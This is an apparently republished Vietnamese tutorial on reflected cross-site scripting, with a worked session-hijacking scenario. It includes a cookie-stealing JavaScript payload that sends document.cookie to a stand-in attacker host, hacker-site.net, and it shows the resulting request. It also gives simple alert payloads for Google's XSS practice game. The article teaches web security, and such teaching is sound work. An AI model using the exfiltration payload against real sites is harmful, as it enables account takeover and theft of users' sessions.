Dịch vụ sửa máy tính pc laptop máy in - Nạp mực máy in Trường Tín Tphcm
Dịch vụ sửa máy tính pc laptop máy in - Nạp mực máy in Trường Tín Tphcm

Web7: Các kiểu khai thác XSS – Phần 1: Reflected XSS

--
Web Tin Học Trường Tín có bài: Web7: Các kiểu khai thác XSS – Phần 1: Reflected XSS Trong bài viết này, Quản Trị Mạng sẽ cùng các bạn tìm hiểu về kiểu khai thác Reflected XSS.

Cross-Site Scripting là gì?

Cross-Site Scripting (XSS) là một trong các kĩ thuật tiến công phổ biến nhất hiện nay, được mệnh danh là Godfather of Attack, và trong nhiều năm liền được liệt vào bản kê những kỹ thuật tấn công nguy hiểm nhất với phần mềm web.

Không xem là tắt là CSS để né nhầm lẫn với khái niệm Cascading Style Sheet của HTML.

Kỹ thuật XSS được thực hành dựa trên việc chèn các đoạn script nguy hiểm vào trong source code ứng dụng web. Nhằm thực thi các đoạn mã độc Javascript để chiếm phiên đăng nhập của người dùng.

Để hiểu rõ hơn, chúng ta xét tỉ dụ sau. Một ứng dụng web cấp phép in ra giá trị mà chúng ta truyền vào thông qua URL, giả sử truyền vào biến name giá trị Ping:

Web7: Các kiểu khai thác XSS – Phần 1: Reflected XSS

Mọi chuyện đến giờ vẫn ổn, chúng ta xem lại source code html:

Web7: Các kiểu khai thác XSS – Phần 1: Reflected XSS

Điều dễ nhận thấy là giá trị tên mà chúng ta nhập vào đã được chèn vào source code. Vậy thì có khả năng là cái gì nhập vào cũng cũng có thể có thể được chèn vào. Vấn đề sẽ trở nên nghiêm trọng nếu mà giá trị được nhập vào không cần là một chuỗi bình thường như trên mà là một đoạn mã lệnh có khả năng gây nguy hiểm, đại loại như thế này:

     alert(document.cookie)     

Thử lại với mức giá trị trên:

Web7: Các kiểu khai thác XSS – Phần 1: Reflected XSS

Từ tỉ dụ này có thể kết luận 2 điều. Thứ nhất biến name có thể nhận giá trị đầu vào bất kỳ và truyền lên server xử lý. Thứ 2, server đã không kiểm soát giá trị đầu vào này trước lúc trả về cho trình duyệt. Dẫn đến việc đoạn mã javascript đã bị chèn vào trong source code.

XSS nói chung được chia làm 3 loại chính là Reflected, Stored và DOM based. Trong bài viết này tôi sẽ nhắc đến chính đến kỹ thuật Reflected XSS.

Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) chính vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã hiểm nguy (thường là javascript). Nạn nhân chỉ cần request đến URL này thì ngay tức thì hacker sẽ thu được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết tới với tên gọi first-order XSS.

Kịch bản khai thác trong thực tiễn

Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong các cách được biết tới nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó cũng có thể có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.

Chi tiết được miêu tả theo những bước như sau:

Web7: Các kiểu khai thác XSS – Phần 1: Reflected XSS

1. Người dùng đăng nhập web và giả sử được gán session:

   Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4   

2. Bằng cách nào đó, hacker gửi được cho người sử dụng URL:

   http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;   

Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra

3. Nạn nhân truy cập đến URL trên

4. Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)

5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript

6. Đoạn javascript mà hacker tạo nên thực tiễn như sau:

   var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;   

Dòng lệnh trên bản tính thực hành request đến site của hacker với tham số là cookie người dùng:

   GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net   

7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và xem như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thi hành mọi quyền trên website mà nạn nhân có.

Thực hành

Google có tạo 1 trang để thực hành khai thác lỗi XSS ở đây: https://xss-game.appspot.com

Mục tiêu của các challenge đây là bạn phải inject các đoạn script để cũng có thể có thể bật ra được một cái popup. Ở challenge trước mắt chính là minh họa cho kỹ thuật reflected, mã khai thác khá đơn giản:

   https://xss-game.appspot.com/level1/frame?query=alert('pwned')   

Chúc các bạn thành công!

  • Web6: SQL Injection – Một số tool khai thác
  • Web5: SQL injection – Một số kỹ thuật băng qua cơ chế lọc
  • Web4: SQL injection – Các bước khai thác
  • Web3: SQL injection – Các hướng khai thác

Reflected XSS,khai thác xss,kiểu khai thác Reflected XSS,bảo mật web

Nội dung Web7: Các kiểu khai thác XSS – Phần 1: Reflected XSS được tổng hợp sưu tầm biên tập bởi: Tin Học Trường Tín. Mọi ý kiến vui lòng gửi Liên Hệ cho truongtin.top để điều chỉnh. truongtin.top tks.

Bài Viết Liên Quan


Xếp Hạng post

Bài Viết Khác

--